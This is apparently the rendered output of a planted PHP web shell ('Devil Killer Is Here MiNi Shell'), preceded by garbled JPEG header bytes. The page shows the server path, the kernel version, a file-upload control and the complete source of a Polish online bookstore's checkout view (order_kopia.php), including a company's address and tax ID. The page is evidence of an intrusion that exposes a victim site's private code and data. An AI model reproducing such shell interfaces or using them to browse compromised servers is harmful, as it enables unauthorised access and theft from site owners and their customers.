JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/ksiegarniakoszyk/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/views/ksiegarniakoszyk/order_kopia.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use common\models\Countries;
use yii\bootstrap\Modal;
use common\components\widgets\Pjax;
use frontend\components\helpers\SlugGenerator;
use frontend\assets\BookstoreShippingCartManagerAsset;
use common\models\types\DeliveryMethod;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

\common\components\assets\Geowidgetv4Asset::register($this);
\common\components\assets\PickupPointPocztaPolskaAsset::register($this);
\common\components\assets\PwRGeoPickerAsset::register($this);

BookstoreShippingCartManagerAsset::register($this);

/* @var $this yii\web\View */
/* @var $cartData array */
/* @var $modelForm frontend\models\BookstoreOrderForm */
/* @var $userCompaniesData array */
/* @var $userData array */
/* @var $modelsCompanies common\models\Companies[] */
/* @var $priceListsForCompanies array */
/* @var $itemsByCompanies array */
/* @var $itemsSubscriptionsByCompanies array */
/* @var $modelsOrdersDeliveries common\models\BookstoreOrderDeliveryForm[] */

$this->params['breadcrumbs'][] = ['label' => 'Księgarnia', 'url' => ['ksiegarnia/index']];
$this->params['breadcrumbs'][] = ['label' => 'Koszyk', 'url' => ['ksiegarniakoszyk/zawartosc']];
$this->params['breadcrumbs'][] = 'Zamówienie';

$jsCodeForPwRGeoPicker = '';
if(!empty($modelsCompanies)) {
    foreach($modelsCompanies as $modelCompany) {
        $idCompany = $modelCompany->id_company;
        $jsCodeForPwRGeoPicker .= '
            $("#c'.$idCompany.'-select-pickup-point-ruch-all-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });

            $("#c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button").pwrgeopicker("popup", {
                "map": {
                    center: [52.0693234, 19.4803112],
                    zoom: 7,
                    scrollwheel: true,
                    navigationControl: false,
                    mapTypeControl: false,
                    scaleControl: false
                },
                "CashOnDelivery": true,
                "popup": true,
                "autocomplete": true,
                "onselect": function(data){
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointcode").val(data.DestinationCode).trigger("change");
                    $("#bookstoreorderdeliveryform-'.$idCompany.'-pickuppointaddress").val(data.StreetName+", "+data.City+", "+data.Province+" ("+data.Location+")").trigger("change");
                }
            });
        ';
    }
}
$this->registerJs(
    '
    $("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]").on("click", function() {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            var idCompany = $("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            if(!idCompany) {
                clearContactDataFields();
            }
            $("div.only-company-field").show();
            $("#bookstoreorderform-id_company input[type=\"radio\"]:checked").trigger("click");
        }
    });
    
    var clearContactDataFields = function() {
        var fields = [
            "forename", "surname", "email", "phone", 
            "shipping_name", "shipping_postcode", "shipping_id_country", "shipping_locality", "shipping_street", "shipping_building_number", "shipping_apartment_number", "shipping_address_cont",
            "invoicing_name", "invoicing_tax_id", "invoicing_postcode", "invoicing_id_country", "invoicing_locality", "invoicing_street", "invoicing_building_number", "invoicing_apartment_number"
        ];
        
        $.each(fields, function(key, value) {
            $("#bookstore-order-form input[name=\"BookstoreOrderForm["+value+"]\"]").val("");
        });
        
        $("#addresses-list").hide();
        $("#addresses-list ul li").hide();
    }
    
    $("#bookstore-order-form .populate-form").on("click", function() {
        var data = $(this).data();
        
        clearContactDataFields();
        
        $.each(data, function(key, value) {
            var fieldName = null;
            
            if(key.substring(0, 5) === "field") {
                fieldName = key.substring(5);
                fieldName = fieldName.charAt(0).toLowerCase() + fieldName.slice(1);
                
                var input = $("#bookstore-order-form input[name=\"BookstoreOrderForm["+fieldName+"]\"]");
                if(input) {
                    input.val(value);
                }
            }
        });
        
        var orCompany = $("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val();
        if(orCompany == 0) {
            var addresses = $("#addresses-list li[data-owner=\"u\"]");
            if(addresses.length > 1) {
                addresses.show();
                $("#addresses-list").show();
            }
            $("#bookstore-order-form .vjs-tax-id-label").removeClass("required");
        } else {
            var idCompany = $("#bookstore-order-form input[name=\"BookstoreOrderForm[id_company]\"]:checked").val();
            if(idCompany) {
                var addresses = $("#addresses-list li[data-owner=\"c"+idCompany+"\"]");
                if(addresses.length > 1) {
                    addresses.show();
                    $("#addresses-list").show();
                }
            }
            $("#bookstore-order-form .vjs-tax-id-label").addClass("required");
        }
    });
    
    $("#addresses-list ul li").on("click", function(){
        $(this).find("span[data-field]").each(function(index) {
            var fieldName = $(this).data("field");
            if(fieldName) {
                var input = $("#bookstore-order-form input[name=\"BookstoreOrderForm["+fieldName+"]\"]");
                if(input) {
                    input.val($(this).html());
                }
            }
        });
    });    
    
    if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 0) {
        $("div.only-company-field").hide();
        //$("#addresses-list").hide();
    } else if($("#bookstore-order-form input[name=\"BookstoreOrderForm[or_company]\"]:checked").val() == 1) {
        $("div.only-company-field").show();
        $("#bookstoreorderform-id_company input[type=\"radio\"]").first().trigger("click");
    }
    
    $("#bookstoreorderform-or_invoice").on("change", function() {
        if($(this).is(":checked")) {
            $("#invoicing-data").show();
        } else {
            $("#invoicing-data").hide();
        }
    });
    
    $("#bookstoreorderform-or_invoice").trigger("change");
    
    $(".vjs-delivery-option").on("change", function() {
        var input = $(this);
        var idCompany = input.data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val("");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val("");

        $("#bookstoreorderdeliveryform-"+idCompany+"-deliverymethod").val(input.data("delivery-method"));

        if(["'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'", "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'", "'.DeliveryMethod::PACKAGE_IN_RUCH.'", "'.DeliveryMethod::UPS_PICKUP_POINTS.'"].indexOf(input.data("delivery-method")) !== -1) {
            if(input.data("delivery-method") === "'.DeliveryMethod::PACKAGE_IN_RUCH.'") {
                if($("#bookstoreorderdeliveryform-"+idCompany+"-deliveryoption input:checked").data("cash-on-delivery") == 1) {
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                } else {
                    $("#c"+idCompany+"-select-pickup-point-ruch-all-button").show();
                    $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                }
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").hide();
            } else {
                $("#c"+idCompany+"-select-pickup-point-ruch-all-button").hide();
                $("#c"+idCompany+"-select-pickup-point-ruch-cash-on-delivery-button").hide();
                $("#select-pickup-point-container-"+idCompany+" .vjs-select-pickup-point-button").show();
            }
            $("#select-pickup-point-container-"+idCompany).show();                
        } else {
            $("#select-pickup-point-container-"+idCompany).hide();
        } 
    });

    var orGeoWidgetInit = false;
    $(".vjs-select-pickup-point-button").on("click", function() {   
        var idCompany = $(this).data("id-company");

        if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::INPOST_PARCEL_LOCKER_24_7.'") {
            if(!orGeoWidgetInit) {
                easyPack.init({
                    map: {
                        initialZoom: 13,
                        detailsMinZoom: 15, // minimum zoom after marker click
                        autocompleteZoom: 14,
                        visiblePointsMinZoom: 13
                    },
                    points: {
                        types: ["parcel_locker"]
                    },
                });
                orGeoWidgetInit = true;
            }
            function pointCallback(point, modal) {
                modal.closeModal();
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.name).trigger("change");
                $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.address.line1+", "+point.address.line2).trigger("change");
            }
            easyPack.modalMap(pointCallback, { width: 500, height: 600 });
            easyPack.pointCallback = pointCallback;
        } else if($(".vjs-delivery-option:checked").data("delivery-method") === "'.DeliveryMethod::PICKUP_POINTS_PP_ZABKA_ORLEN_RUCH.'") {
            PPWidgetApp.toggleMap({
                callback: function(point) {
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val(point.type+" "+point.pni).trigger("change");
                    $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val(point.street+", "+point.zipCode+" "+point.city).trigger("change");
                }
            });
        } else {
            var url = $(this).data("url")+"&delivery_method="+$(".vjs-delivery-option:checked").data("delivery-method");
            $("#modal-pickup-point-list").data("id-company", idCompany);
            $("#modal-pickup-point-list").modal("show").find("#pickup-point-list-pjax").load(encodeURI(url));
        }
    }); 
    
    $("#pickup-point-list-pjax").on("click", ".vjs-select-pickup-point", function() {
        var idCompany = $("#modal-pickup-point-list").data("id-company");

        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointcode").val($(this).data("id")).trigger("change");
        $("#bookstoreorderdeliveryform-"+idCompany+"-pickuppointaddress").val($(this).data("address")).trigger("change");
        $("#modal-pickup-point-list").modal("hide");
    });

    '.$jsCodeForPwRGeoPicker.' 

    $("#copy-data-from-shipping-data-button").on("click", function() {
        $("#bookstoreorderform-invoicing_name").val($("#bookstoreorderform-forename").val()+" "+$("#bookstoreorderform-surname").val()).trigger("change");
        $("#bookstoreorderform-invoicing_street").val($("#bookstoreorderform-shipping_street").val()).trigger("change");            
        $("#bookstoreorderform-invoicing_building_number").val($("#bookstoreorderform-shipping_building_number").val()).trigger("change");
        $("#bookstoreorderform-invoicing_apartment_number").val($("#bookstoreorderform-shipping_apartment_number").val()).trigger("change");
        $("#bookstoreorderform-invoicing_postcode").val($("#bookstoreorderform-shipping_postcode").val()).trigger("change");
        $("#bookstoreorderform-invoicing_locality").val($("#bookstoreorderform-shipping_locality").val()).trigger("change");
        $("#bookstoreorderform-invoicing_id_country").val($("#bookstoreorderform-shipping_id_country").val()).trigger("change");
    });

//    $(".vjs-delivery-option").trigger("change");

    '
);

$this->registerJs('

        $("document").ready(function(){
        
            $(".v-radios[toggle-active]>div").on("click", function() {
                $(".v-radios[toggle-active]>div").removeClass("active");
                $(this).addClass("active");
            });
            
            $(".v-radios[toggle-active] a[href=\"#usun\"]").on("click", function() {
                $(this).closest("div").hide();
                return false;
            });

        });

');

$countriesList = ArrayHelper::map(Countries::find()->orderBy('name')->asArray()->all(), 'id_country', 'name');

?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-pickup-point-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'pickup-point-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell">
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Twój koszyk') ?></span>
            </h2> 
            

        <?php if(Yii::$app->session->hasFlash('error')): ?>
            <div class="alert alert-danger text-left mt1" role="alert">
                <?= Yii::$app->session->getFlash('error')[0]; ?>
            </div>
        <?php endif; ?>
        <?php if(Yii::$app->session->hasFlash('confirm')): ?>
            <div class="alert alert-info text-left mt1" role="alert">
                <?= Yii::$app->session->getFlash('confirm')[0]; ?>
            </div>
        <?php endif; ?>
    
    
    <?php $form = ActiveForm::begin([
        'id' => 'bookstore-order-form',
        'method' => 'post',
        'enableAjaxValidation' => false,
        'enableClientValidation' => true,
        'validateOnSubmit' => true,
        'validateOnChange' => false,
        'validateOnType' => false,
        'options' => [
//                    'enctype' => 'multipart/form-data',
            'class' => 'col-xs-12 -form-horizontal'
        ],
    ]); ?>
            

    <?php if(!empty($modelsCompanies)): ?>
        <div class="v-form" id="v-order">
            <div class="row">
                <h4><b style="font-weight: 800 !important;">Dane odbiorcy przesyłki</b></h4>
                
                <p class="mt1">
                    <?= $userData['forename']; ?> <?= $userData['surname']; ?><br>
                    ul. <?= $userData['street']; ?> <?= $userData['building_number']; ?><?php if($userData['apartment_number']): ?> / <?=$userData['apartment_number']; ?><?php endif; ?><br>
                    <?= $userData['postcode']; ?> <?= $userData['locality']; ?> <?= $userData['id_country']; ?><br>
                    tel. <?= $userData['phone_1']; ?>
                </p>
                
                <span class="v-more mb1" data-toggle="modal" data-target="#zmien-adres">
                    ZMIEŃ ADRES 
                </span>
                
<div class="modal fade v-modal v-form" id="zmien-adres" tabindex="-1" role="dialog">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">Zapisane adresy</h4>
      </div>
      <div class="modal-body" style="max-height: 50vh; overflow: auto; padding-top: 5px;">
          
            <div class="btn-group-vertical v-radios" style="width:100%;" toggle-active="div">
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-adres">EDYTUJ</a>
                    </p>
                </div>
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-adres">EDYTUJ</a>
                    </p>
                </div>
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-adres">EDYTUJ</a>
                    </p>
                </div>
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-adres">EDYTUJ</a>
                    </p>
                </div>
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-adres">EDYTUJ</a>
                    </p>
                </div>
            </div>
          
      </div>
      <div class="modal-footer">
          <div class="text-right">
              <span class="btn btn-orange" data-dismiss="modal">ZATWIERDŹ</span>
              <a class="v-more pl10px pr10px pull-left" data-toggle="modal" href="#edytuj-adres">DODAJ NOWE DANE</a>
          </div>
      </div>
    </div>
  </div>
</div>
                
<div class="modal fade v-modal v-form" id="edytuj-adres" tabindex="-1" role="dialog">
  <div class="modal-dialog" role="document" style="width: 700px!important;">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">Edycja adresu</h4>
      </div>
      <div class="modal-body">
          
          <div class="form-group">
            <input type="text" id="imie" class="form-control" name="">
            <label class="" for="imie">Imię</label>
            <p class="help-block"></p>
          </div>
          <div class="form-group">
            <input type="text" id="nazwisko" class="form-control" name="">
            <label class="" for="nazwisko">Nazwisko</label>
            <p class="help-block"></p>
          </div>
          <div class="form-group">
            <input type="text" id="firma" class="form-control" name="">
            <label class="" for="firma">Firma</label>
            <p class="help-block">Opcjonalnie</p>
          </div>
          <div class="form-group">
            <input type="text" id="ulicainumer" class="form-control" name="">
            <label class="" for="ulicainumer">Ulica i numer</label>
            <p class="help-block"></p>
          </div>
          <div class="row">
              <div class="col-xs-5">
                  <div class="form-group">
                    <input type="text" id="kodpocztowy" class="form-control" name="">
                    <label class="" for="kodpocztowy">Kod pocztowy</label>
                    <p class="help-block"></p>
                  </div>
              </div>
              <div class="col-xs-7">
                  <div class="form-group">
                    <input type="text" id="miejscowosc" class="form-control" name="">
                    <label class="" for="miejscowosc">Miejscowość</label>
                    <p class="help-block"></p>
                  </div>
              </div>
          </div>
          <div class="v-select form-group">
                <select id="kraj" class="form-control" name="">
                <option value="">-wybierz-</option>
                <option value="1">Polska</option>
                </select>
                <label class="" for="kraj">Kraj</label>
                <p class="help-block"></p>
          </div>
           <div class="mb0 form-group">
            <input type="text" id="telefon" class="form-control" name="">
            <label class="" for="telefon">Numer telefonu komórkowego</label>
            <p class="help-block">Ułatwi kontakt ze sprzedającym lub kurierem</p>
          </div>
          
      </div>
      <div class="modal-footer">
          <div class="text-right">
              <span class="btn btn-orange" data-dismiss="modal">ZAPISZ ZMIANY</span>
          </div>
      </div>
    </div>
  </div>
</div>                
                
                <h5 class="mt1"><b>Potrzebujesz faktury do zamówienia?</b></h5>
                
                <div class="checkbox mb1"><label><input type="checkbox" name="faktura" value="" checked><span></span>Chcę otrzymać fakturę</label></div>
                
                <small>Jeżeli w tym kroku nie podasz NIP'u i innych danych firmowych,<br>możesz nie otrzymać faktury za ten zakup.</small>
                
                <p class="gray mt1">FIRMA</p>
                <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                </p>
                
                <span class="v-more" data-toggle="modal" data-target="#zmien-fakture">
                    ZMIEŃ DANE 
                </span>
                
<div class="modal fade v-modal v-form" id="zmien-fakture" tabindex="-1" role="dialog">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">Dane do faktury</h4>
      </div>
      <div class="modal-body" style="max-height: 50vh; overflow: auto; padding-top: 5px;">
          
            <div class="btn-group-vertical v-radios" style="width:100%;" toggle-active="div">
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-fakture">EDYTUJ</a>
                    </p>
                </div>
                <div class="btn btn-default mb1">
                    <p>
                    Vertica Łukasz Rutkiewicz<br>
                    ul. Przemysłowa 8C<br>
                    85-758 Bydgoszcz<br>
                    NIP: 5542272737
                    </p>
                    <hr class="nomargin">
                    <p class="text-right nomargin pt05">
                        <a class="v-more pl10px pr10px" href="#usun">USUŃ</a>
                        <a class="v-more pl10px pr10px" data-toggle="modal" href="#edytuj-fakture">EDYTUJ</a>
                    </p>
                </div>
            </div>
          
      </div>
      <div class="modal-footer">
          <div class="text-right">
              <span class="btn btn-orange" data-dismiss="modal">ZATWIERDŹ</span>
              <a class="v-more pl10px pr10px pull-left" data-toggle="modal" href="#edytuj-fakture">DODAJ NOWE DANE</a>
          </div>
      </div>
    </div>
  </div>
</div>     
                
<div class="modal fade v-modal v-form" id="edytuj-fakture" tabindex="-1" role="dialog">
  <div class="modal-dialog" role="document" style="width: 700px!important;">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">Edycja danych</h4>
      </div>
      <div class="modal-body">
           <div class="radiobox mb05">
               <label><input type="radio" name="firma" value="" checked="">
                   <span>Firma</span>
                   <small class="block">Kupuję na potrzeby działalności gospodarczej</small>
               </label>
           </div>
           <div class="radiobox mb1">
               <label><input type="radio" name="firma" value="">
                   <span>Osoba prywatna</span>
                   <small class="block">Kupuję na potrzeby prywatne</small>
               </label>
           </div>
          <div class="form-group">
            <input type="text" id="nip" class="form-control" name="">
            <label class="" for="nip">NIP</label>
            <p class="help-block"></p>
          </div>
          <div class="form-group">
            <input type="text" id="firma" class="form-control" name="">
            <label class="" for="firma">Firma</label>
            <p class="help-block"></p>
          </div>
          <div class="form-group">
            <input type="text" id="ulicainumer" class="form-control" name="">
            <label class="" for="ulicainumer">Ulica i numer</label>
            <p class="help-block"></p>
          </div>
          <div class="row">
              <div class="col-xs-5">
                  <div class="form-group">
                    <input type="text" id="kodpocztowy" class="form-control" name="">
                    <label class="" for="kodpocztowy">Kod pocztowy</label>
                    <p class="help-block"></p>
                  </div>
              </div>
              <div class="col-xs-7">
                  <div class="form-group">
                    <input type="text" id="miejscowosc" class="form-control" name="">
                    <label class="" for="miejscowosc">Miejscowość</label>
                    <p class="help-block"></p>
                  </div>
              </div>
          </div>
          <div class="v-select form-group">
                <select id="kraj" class="form-control" name="">
                <option value="">-wybierz-</option>
                <option value="1">Polska</option>
                </select>
                <label class="" for="kraj">Kraj</label>
                <p class="help-block"></p>
          </div>
          
      </div>
      <div class="modal-footer">
          <div class="text-right">
              <span class="btn btn-orange" data-dismiss="modal">ZAPISZ ZMIANY</span>
          </div>
      </div>
    </div>
  </div>
</div>                  
                
                <hr>
                
                <h4><b style="font-weight: 800 !important;">Oferty i sposób dostawy</b></h4>
                    <table class="table table-hover">
                    <tbody> 
        <?php foreach($modelsCompanies as $modelCompany): ?>
                    <tr> 
                         <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Sprzedający <a href="<?= Url::to(['ksiegarnia/katalog-new', 'id_company' => $modelCompany->id_company]) ?>"><?= Html::encode($modelCompany->name) ?></a></b></th> 
                    </tr>
                <?php if(!empty($itemsByCompanies[$modelCompany->id_company])): ?>
                    <?php foreach($itemsByCompanies[$modelCompany->id_company] as $item): ?>
                                <tr> 
                                       <td>
                                            <div class="block-row">
                                            <?php if(!empty($item['image_url'])): ?>
                                                <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                    <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                </a>
                                            <?php endif; ?>
                                                <div>
                                                    <p class="nomargin">
                                                       <?= Html::encode($item['title']) ?><br>
                                                       <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                       <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                    </p>
                                                </div>
                                            </div>
                                       </td> 
                                       <td class="v-book-info text-right">
                                           <?php 
                                                $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                $totalAmount += $amount;
                                                $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                            ?>
                                           <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                       </td> 
                                </tr>
